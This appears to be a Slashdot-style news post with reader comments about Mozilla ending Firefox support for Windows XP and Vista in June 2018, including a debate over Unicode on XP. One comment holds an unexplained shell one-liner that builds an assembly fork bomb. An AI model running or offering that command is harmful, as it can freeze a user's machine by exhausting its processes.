Mozilla To End All Firefox Support For XP, Vista In June 2018 (bleepingcomputer.com)
An anonymous reader quotes a report from Bleeping Computer: Mozilla announced today plans to stop all support for the Firefox browser on Windows XP and Vista in June 2018. Earlier this year, Mozilla already moved Firefox users on XP and Vista machines to the Firefox 52 ESR (Extended Support Release). The move of XP and Vista users to Firefox ESR was previously announced in December 2016, when Mozilla also said it would provide a final answer on Firefox support for XP and Vista in September 2017. Well, that date has arrived (and passed), and after an internal review, Mozilla announced it would sunset all support for Firefox on the two Windows platforms. Mozilla joins Google, who dropped support for XP and Vista back at version 50, released in April 2016. Microsoft has stopped XP and Vista support in April 2014 and April 2017, respectively.
Unicode support is completely broken on XP, and having to work around that to get decent text rendering must be a nightmare.
It's not all about what works/doesn't work, it's also about effort to support the platforms considering their dwindling usage numbers. They will probably be able to remove chunks of code dedicated to XP and Vista, and not have to worry about testing them, for such a small number of users.
It's also worth remembering that these platforms are no longer suppored by Microsoft, so why should Mozilla do the same? If a vulnerablity is now found in those platforms which can hijack Firefox, Mozilla will want to stear clear of all blame.
Even ff "the world that matters" was limited to the US, you would need Unicode to support Spanish.
And of course there are roughly 6 billion non-Americans out there who (baring some exceptions) use glyphs that are not representable in ASCII.
Unicode support is completely broken on XP
Citation needed. XP no doubt lacks the features of later OSs but saying it's 'completely broken' is overstating things. In fact I remember Chinese/Japanese and Korean support being flawless even in the Windows 2000 days.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Let's flush another potential ~6% of our dwindling user base down the toilet!
There is no XUL, only WebExtensions...